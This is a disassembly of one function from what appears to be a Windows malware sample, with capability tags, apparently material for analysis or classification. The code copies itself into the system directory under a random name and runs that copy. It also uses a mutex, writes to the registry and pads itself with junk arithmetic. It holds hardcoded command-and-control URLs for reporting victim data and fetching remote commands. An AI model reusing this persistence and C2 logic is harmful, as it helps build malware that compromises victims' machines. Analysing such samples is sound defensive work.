Function at 0x40bb73
Capabilities:
Copy file
Create process on windows
Delete file
Get common file path
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4ec
push ebx
push esi
push edi
mov esi, 0x385f4fa0
mov eax, esi
sub eax, esi
mov esi, eax
call sub.KERN_GetTickCount
call sub.KERN_GetTickCount
add esi, 0x5065
call sub.KERN_GetCurrentProcessId
push str.ENGEL_12
push 0
push 0x1f0001
call sub.KERN_OpenMutexA
mov dword [ebp - 0x230], eax
or eax, eax
je 0x40bbee
call sub.KERN_GetTickCount
mov eax, esi
mul esi
mov dword [ebp - 0x3c4], eax
mov esi, eax
call sub.KERN_GetCurrentThreadId
push dword [ebp - 0x230]
call sub.KERN_CloseHandle
push 1
call sub.KERN_ExitProcess
mov eax, esi
mul esi
mov dword [ebp - 0x3c8], eax
mov esi, eax
push 0x104
push 0x42b2e0
call sub.KERN_GetSystemDirectoryA
mov eax, esi
xor eax, esi
mov esi, eax
call sub.KERN_GetTickCount
push eax
call fcn.0040c794
push 0x104
lea eax, [ebp - 0x22c]
push eax
push dword [0x417de4]
call sub.KERN_GetModuleFileNameA
push 1
push 0x42b2e0
lea eax, [ebp - 0x22c]
push eax
call fcn.0040129c
add esp, 0x10
or eax, eax
je 0x40bd85
add dword [0x42c094], 8
mov eax, 0xc8
mul dword [0x42c094]
mov dword [ebp - 0x4dc], eax
mov dword [0x42c094], eax
dec dword [0x42c094]
mov eax, esi
mul esi
mov dword [ebp - 0x4e0], eax
mov esi, eax
call fcn.0040c770
mov edx, 0x10624dd3
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 0x1f
sub edx, ecx
mov edi, edx
add edi, 0x41
mov ebx, edi
mov byte [ebp - 0x3d1], bl
mov eax, esi
mul esi
mov dword [ebp - 0x4e4], eax
mov esi, eax
mov byte [ebp - 0x3c1], 1
jmp 0x40bcda
call fcn.0040c770
movzx edi, byte [ebp - 0x3c1]
mov edx, 0x10624dd3
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 0x1f
sub edx, ecx
mov ebx, edx
add ebx, 0x61
mov byte [ebp + edi - 0x3d1], bl
add byte [ebp - 0x3c1], 1
mov al, byte [ebp - 0x3c1]
cmp al, 8
jbe 0x40bcaa
mov byte [ebp - 0x3c9], 0
call fcn.0040c770
mov edx, eax
test dl, 1
jne 0x40bd05
mov byte [ebp - 0x3cb], 0x33
mov byte [ebp - 0x3ca], 0x32
mov eax, esi
add eax, esi
mov esi, eax
lea eax, [ebp - 0x3d1]
push eax
push 0x42b2e0
push str._s_s.exe
lea eax, [ebp - 0x4d5]
push eax
call fcn.0040c788
push 0
lea eax, [ebp - 0x4d5]
push eax
lea eax, [ebp - 0x22c]
push eax
call sub.KERN_CopyFileA
lea eax, [ebp - 0x4d5]
push eax
call fcn.004074bb
mov eax, esi
mul esi
mov dword [ebp - 0x4e8], eax
mov esi, eax
lea eax, [ebp - 0x3d1]
push eax
call fcn.00406a4f
add esp, 0x18
push 0
lea eax, [ebp - 0x4d5]
push eax
call sub.KERN_WinExec
mov eax, esi
mul esi
mov dword [ebp - 0x4ec], eax
mov esi, eax
push 1
call sub.KERN_ExitProcess
push 0x42b2e0
push str._sccct32.dat
push 0x429fb0
call fcn.0040c788
sub esi, 0x44f9
lea eax, str.ENGEL
mov dword [ebp - 4], eax
mov eax, dword [0x417de4]
mov dword [ebp - 0x18], eax
lea eax, [0x40ab6d]
mov dword [ebp - 0x24], eax
mov eax, esi
sub eax, esi
mov esi, eax
push 0x7f00
push 0
call fcn.0040c5a8
mov dword [ebp - 0x10], eax
and dword [ebp - 0x14], 0
and dword [ebp - 8], 0
mov dword [ebp - 0xc], 5
mov eax, esi
add eax, esi
mov esi, eax
mov dword [ebp - 0x28], 3
and dword [ebp - 0x20], 0
and dword [ebp - 0x1c], 0
add esi, 0x3f3c
lea eax, [ebp - 0x28]
push eax
call fcn.0040c5cc
add dword [0x42c094], 0x320
inc dword [0x42c094]
push 0
push dword [0x417de4]
push 0
push 0
push 1
push 1
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x42e7e0
push str.ENGEL
push 0
call fcn.0040c65c
mov dword [0x42b5f0], eax
push str.ENGEL_12
push 0
push 0
call sub.KERN_CreateMutexA
mov eax, esi
mul esi
mov dword [ebp - 0x3c4], eax
mov esi, eax
lea eax, [ebp - 0x3c0]
push eax
push 0x202
call sub.wsock32.dll_WSAStartup
push str.http:__viruslist.com_piplog.php__s:_i:_i:_s:_09u:_i:_02d:_02d:_02d
push 0x417400
call fcn.0040c234
mov eax, esi
xor eax, esi
mov esi, eax
push str.http:__viruslist.com_ppslog.php
push 0x418b80
call fcn.0040c234
push str.http:__viruslist.com_wcmd.txt
push 0x42b3f0
call fcn.0040c234
push str.eng12
push 0x418d90
call fcn.0040c234
mov eax, esi
sub eax, esi
mov esi, eax
push str.about:blank
push 0x42b600
call fcn.0040c234
push str.http:__www.microsoft.com_isapi_redir.dll_prdieariesearch
push 0x42a0d0
call fcn.0040c234
mov dword [0x418ae0], 0x94
mov eax, esi
add eax, esi
mov esi, eax
push 0x418ae0
call sub.KERN_GetVersionExA
mov eax, dword [0x418af0]
mov dword [0x418f98], eax
call fcn.0040b803
call fcn.0040c770
mov edi, eax
mov word [0x42c0ac], di
add esi, 0x5ba5
call fcn.0040c770
mov edi, eax
mov word [0x42c0a8], di
push 0x100
lea eax, [ebp - 0x128]
push eax
push 0x42e6f6
push str.SoftwareMicrosoftIE4
push 0x80000002
call fcn.0040988a
add esp, 0x20
or eax, eax
jne 0x40bf96
push 8
lea eax, [ebp - 0x128]
push eax
call fcn.00401463
xor esi, 0x4e94
lea eax, [ebp - 0x128]
push eax
push 0x418d90
push 0x42e6f0
push 0x418d90
call fcn.0040c788
push 0x418d90
push 0x42e6f6
push str.SoftwareMicrosoftIE4
push 0x80000002
call fcn.004097ae
add esp, 0x28
jmp 0x40bfa7
lea eax, [ebp - 0x128]
push eax
push 0x418d90
call fcn.0040c234
movzx eax, word [0x42c0a8]
push eax
call fcn.0040538a
movzx eax, word [0x42c0ac]
push eax
call fcn.004041a3
sub esi, 0x6e73
call fcn.0040336b
push str.engl32.vxd
push 0x42b2e0
push 0x42e8a6
lea eax, [ebp - 0x128]
push eax
call fcn.0040c788
mov eax, esi
sub eax, esi
mov esi, eax
lea eax, [ebp - 0x128]
push eax
call sub.KERN_DeleteFileA
push 0
push 0
push 0
push 0
call fcn.0040b740
push 0x40b771
push 0x2710
push 0x2b04
push dword [0x42b5f0]
call fcn.0040c5b4
xor esi, 0xc0c
push fcn.0040b271
push 0x927c0
push 0x722d
push dword [0x42b5f0]
call fcn.0040c5b4
mov eax, esi
add eax, esi
mov esi, eax
push 0
push 0
push 0
push 0
call fcn.0040b271
push dword [0x42c0b4]
call fcn.00407768
add esi, 0x6e8a
push dword [0x42c0b0]
call fcn.004095d3
add esp, 0x20
pop edi
pop esi
pop ebx
leave
ret